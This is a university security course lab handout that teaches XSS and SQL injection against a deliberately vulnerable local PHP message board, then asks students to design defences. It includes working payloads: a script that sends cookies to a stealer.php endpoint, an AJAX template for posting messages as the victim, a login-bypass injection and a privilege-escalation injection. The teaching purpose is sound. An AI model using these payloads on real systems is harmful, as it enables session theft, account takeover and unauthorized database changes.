CS 5340 INTRODUCTION TO INFORMATION AND COMPUTER SECURITY
HANDS-ON PROJECT LAB ON WEB ATTACKS
FALL 2022

SECTION 1 – XSS ATTACKS

In this section, you will exploit XSS vulnerability in a web application by injecting malicious code using JavaScript. In an XSS attack, an attacker posts malicious code through non-sanitized input boxes to the web application. Users who view these malicious codes in the web application become the victims.

You will perform the following XSS attacks on the provided vulnerable web application to:

i. Deface the web application
ii. Steal user's credentials e.g., cookies
iii. Illegitimately post messages on behalf of other users.

1. Lab Setup:

We have built a vulnerable web application, CS5340-TOY-APPLICATION, specifically for this lab. The application is a simple message board on which people can sign up, post messages and view messages from others. To run this application, you will have to set up a server environment running PHP and MySQL. If you are working with a Mac, you can set up this server environment by downloading and installing MAMP from https://www.mamp.info/en/. If you are working with Windows, you will instead have to download and install WAMP from http://www.wampserver.com/en/ and if you are working with Linux, a web server (Apache with PHP) and MySQL database server are pre-installed. For Windows or Mac, start WAMP or MAMP while for Linux, start the Apache service (e.g., apache2ctl start) and the MYSQL database service (e.g., sudo service mysql start).

Unzip and copy the provided application files to the relevant directory on the installed server. One of these files, CS5340-TOY-APPLICATION-DATABASE.sql, is a script that you will use to set up the application's database on the MYSQL server. If you are running MAMP/WAMP, run phpMyAdmin and use the Import option to run the script and import the database.

Browse to http://localhost/CS5340-TOY-APPLICATION-2022/ to run the web application. In case your application isn't running, potential issues include the server not running, port number mismatch if default port not used or default port running another application, database not created, application files being in the wrong folder, etc.

Once your application is up and running, go through the sign-up process to create two user accounts: one for the attacker and the other for the victim.

Note that Google Chrome has gone through various iterations of a functionality (i.e., XSS_AUDITOR) that might be able to detect and prevent some of the XSS attacks. For this lab,

we recommend that you use the Firefox browser. If you prefer to use Chrome, feel free to search the web for how to disable the XSS_AUDITOR functionality.

2. **Non-Persistent XSS:**
   With this type of XSS attack, the malicious code isn't stored in the web application's database. This type of XSS attack is normally executed when the attacker sends you a malicious link that you then click on (e.g., through a phishing email).

   Task 1: XSS Vulnerability Check
   Before carrying out the real attack, an attacker could post a non-persistent XSS to check if the application is vulnerable to XSS attacks. In this task, you will launch simple XSS attacks that display alert windows.

   a. Log into the application as an attacker or victim and go to the *Search* page.
   b. Enter *<script>alert("XSS!!!");</script>* in search input box and press "Go!" button.

   c. What do you observe? Explain the reason behind this observation.

      The operation you just completed is one of the simplest ways to check a web application for XSS vulnerabilities. An attacker would just enter the above script and observe the result to determine whether the website is prone to the attack.

   d. Rather than viewing a meaningless piece of text, you could view something more interesting e.g., the cookie. Modify the statement used in (b) above to display the cookie in the alert box.

   Task 2: Defacing a webpage using Javascript DOM API
   In this task, you will create a malicious link and send it to your victims' email so that your victims can click the link. The attack you will launch will be something simple, just a nuisance operation to confuse the victim. You will do two web defacing operations. In one of them, you will change the background color of the search page of the application. In the second one, you will change the background of the search page of the application to a picture of your choice.

   To launch the attack, you will create a malicious URL and send it to your victim. The victim will be subjected to the attack when they click the link in the email. Note that for this and subsequent tasks, we will, for simplicity, assume that the attacker (yourself) and the victim (yourself) will both be working on the same computer (i.e., on local host). Otherwise, to use two different computers (e.g., on a LAN), you would have to replace *localhost* with an IP and port number (and possibly have to address firewall issues as well).

   Below is the general format of the link which you will use for the web defacing operations.

http://localhost/CS5340-TOY-APPLICATION-2022/search.php?q=<script>unknown-1="unknown-2";</script>

Your task is to modify this URL to fill in the right values in the placeholders *unknown-1* and *unknown-2*. Using the Javascript DOM API documentation on the webpage, https://www.w3schools.com/jsref/, replace these two placeholders to implement the: (1) background color change operation (2) background picture change operation.

In each of these two cases, (1) paste your "fake" URL into the browser's address bar, (2) copy the URL that you have just pasted in the address bar. This operation helps format the URL into a form that is less suspicious for tech-savvy victims and also won't be flagged by your email client.

Email the URL to yourself (remember you are the victim and the attacker).
Access the recipient email box and click the link.

If you are already logged into the application, you should see the effect of the attack. If not logged in, please log in before you click the link in the email. Note that if not logged in, some applications would likely redirect to the login page and take you to the requested page after logging in. However, we haven't implemented this functionality for our toy application.

3. **Persistent XSS**:
   For this type of XSS attack, the malicious code is injected and stored somewhere in the web application's data store just like the other legitimate dynamic content of that web application. The attack is launched when users view the portion of the web application with the malicious code that has been rendered as legitimate code.

   Note that all the above non-persistent XSS attacks can be changed to persistent XSS by injecting and storing the malicious code used in those attacks into the web application's database. If you would like to, please feel free to change them to persistent XSS.

   For the rest of the persistent XSS experiments here forth, we will explore other interesting and complex scenarios.

   Task 1: Stealing user's credentials e.g., cookies
   In this task, you will create a malicious script that will send the user's cookie to the attacker. The attack you will launch involves posting <img> tag to the message board of the web application, which in turn sends the user's cookie information to the attacker via URL parameters.

   First of all, you will create a PHP script on the server that accesses the cookie information sent to it via URL parameters and then stores the sent cookie information in a file on a server.

Secondly, you will post malicious code in the message board of the application that will send the user's cookie to the PHP script created in the previous step above.

a. Create a PHP script, stealer.php, that accesses the cookie information sent to it from the HTTP GET variable, *cookie*, using the PHP *$_GET* assortative array. In that PHP script, open a text-file in append mode and save the contents of the cookie variable in that file. Don't forget to close the file after writing to it

b. Upload the created PHP script to the server (i.e., you are the attacker and are hence uploading the file to your server).

c. Log into the application as an attacker.

d. Browse to the "Post Message" screen and post the following code in the textbox.

```
<script>
  var i = new Image();
  i.src = "http://localhost/CS5340-TOY-APPLICATION/stealer.php?cookie=" + document.cookie
</script>
```

This malicious JavaScript creates an html image tag whose source property is the URL of the attacker's PHP script.

e. Log into the application as a victim and browse to the "View Message" page.

f. Open the text-file created in (a) in the file directory of the web application on the server (In this task you are the attacker and are thus accessing your server back end to check on your loot).

g. What do you observe? Explain the reason behind this observation.

Task 2: Illegitimately posting messages on behalf of the user

In this task, you will create a malicious script that will post messages in the message board of our web application on behalf of the victim without their consent. The task involves (1) investigating how a logged-in user's legitimate message posting request looks like, and (2) leveraging the information in (1) to write (malicious) JavaScript code that constructs a similar message request that will be posted to the web application on behalf of the victim (without the victim's consent).

For the first part of this task, you will use *LiveHTTPHeaders* extension of the Firefox browser to investigate how a legitimate message posting request looks like. *LiveHTTPHeaders* extension helps to capture all HTTP/HTTPS requests from your browser to any website. For the second part of this task, you will use **A**synchronous **Ja**vaScript **X**ML (AJAX) using to send a new message posting from the victim without the victim's consent. The header information seen from *LiveHTTPHeaders* will be useful for the design of your Ajax call.

a. Install the *LiveHTTPHeaders* extension of the Firefox browser from https://addons.mozilla.org/en-US/firefox/addon/http-header-live/.

b. Log into the web application as an attacker and go to the “Post Message” page.
c. Click *HTTP Header Live* icon in the Firefox extension toolbar to start capturing HTTP/HTTPS requests from your browser.
d. Type any message in the description of the “Post Message” page and press “Post” button.
e. What do you observe in the *HTTP Header Live* window? Take a screenshot of the *HTTP Header Live* window (You might have to close most of your other tabs to reduce the noise in this window and easily locate the required header).

f. Identify the HTTP request of the message posting that has been sent to our web application server and observe the URL to which the request was sent to, the request header and the body section of the request.
In the header and body section of the request, what are the values of the following variables:
Header Section: Host, Content-Type, Connection, Cookie
Body Section: message_text, post_message

g. Post the following JavaScript into the description textbox of the “Post Message” page replacing the placeholders *unknown-2*, *unknown-3* and *unknown-4* with the corresponding values obtained from (f). Replace *unknown-5* with the malicious message you would want to be posted on behalf of the victim.

h. Placeholder *unknown-1* should be the URL to which the request was sent to (you should be able to retrieve this from the top of the screen grab you made in (e)).

```
<script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST","unknown-1", true);
    xhr.setRequestHeader("Host","unknown-2");
    xhr.setRequestHeader("Connection","unknown-3");
    xhr.setRequestHeader("Cookie", document.cookie);
    xhr.setRequestHeader("Content-type","unknown-4");
    xhr.send("message_text=unknown-5&post_message=1");
</script>
```

i. Log into the application as a victim and click the “View Message” tab a couple of times.
j. Log into the application as another user (attacker or otherwise) and click the “View Message” tab a couple of times.
k. What do you observe? Explain the reason behind this observation.

SECTION 2 – SQL INJECTION ATTACKS

In this section, you will exploit SQL injection vulnerability in a web application by injecting malicious SQL code. Using SQL Injection attacks, an attacker can inject new or modify SQL code through a web application’s form input. The attacker is then able to gain unauthorized access to

database (sensitive) information or make unauthorized modifications to the database of the web application.

You will perform the following SQL injection attacks on the provided vulnerable web application to:

i. Log into the web application without a correct password.
ii. Elevate user's account privileges.

You are going to perform SQL injection attacks that modify the existing SQL query (SELECT and UPDATE) statements in our web application through user inputs. The modified SQL query statements will then be executed against the web application's database to give us application access without correct password and elevate an ordinary user to an administrator.

Task 1: Log into the web application without correct password

Our web application requires a user to signup and then login before using it. In this task, you will carry out a simple SQL injection attack that allows that attacker to login the web application without correct user credentials.

h. Browse to the *Login* page of the web application.
i. Enter the correct username of the attacker followed by ***' #*** into the username input box.

j. Enter anything in the password input box and click *Sign In* button.
k. Explain the reason why you were able to login even without the correct password?
l. Open the *login.php* script and obtain the SQL statement that is executed when a user clicks the Sign In button.

   What does the SQL statement become when the above operation is done?

   The operation you just completed is one of the simplest SQL injection attacks. The operation simply modified the login SQL statement and allowed us to log into the web application as an authorized user without the correct password.

This task is one of the simplest SQL injection attacks and can be used to test a web application for SQL injection vulnerability. The attack used here simply modifies the SELECT SQL statement thereby giving the attacker unauthorized access to the web application.

Task 2: Elevate user's account privileges

Our web application has two types of user accounts i.e., ordinary users and administrators. Ordinary users can only view messages, post messages, search messages, and delete their own messages. On the other hand, the administrators can change users' privileges, delete users and also delete other users' messages in addition to what the ordinary users can do.

In this task, we will perform SQL injection attack that will make modifications to the data in the database. You will log into the web application as an ordinary user and elevate your privileges to an administrator. Note that in a real application, an ordinary user shouldn't be able to elevate his/her privileges.

a. Log into the web application as an ordinary user and click the *Change Password* link at the top right corner.
b. Enter the old password of the ordinary user you are logged in as.

c. For the new password, enter a password of your choice concatenated with the string ***',is_admin='1***

   Logout and log into the web application using the same username used in (a) and new password specified in (c) (*Here, new password is the part of your password excluding the string which you concatenated to the password*).

d. In the top right corner, what is the new role of the user? What new extra functionalities can the user perform?

e. Open *changepassword.php* script and obtain the SQL statement that is executed when the user clicks the Change button.

f. What does the SQL statement become when the above operation is done?

SECTION 2 – DEFENCE MECHANISMS.

This section requires you to: (1) undertake some research on the web about how to fix the issues in our application, and, (2) fix the issues in our application and demonstrate that it is working fine.

(a) (i) Provide a description of the various defence mechanisms that can help mitigate the attacks showcased in this lab. Describe in details the core ideas behind each of the defense mechanisms you describe.

(ii) Why do these attacks continue to plague today's web applications despite the existence of the defense mechanisms that you describe above?

(b) Modify the application to ensure that it is immune to these attacks. Using screen shots as appropriate, demonstrate that the application cannot fall to these attacks.

(c) Two other attacks discussed in class but not included in this lab are clickjacking and the CSRF attack. Discuss defense mechanisms for these attacks.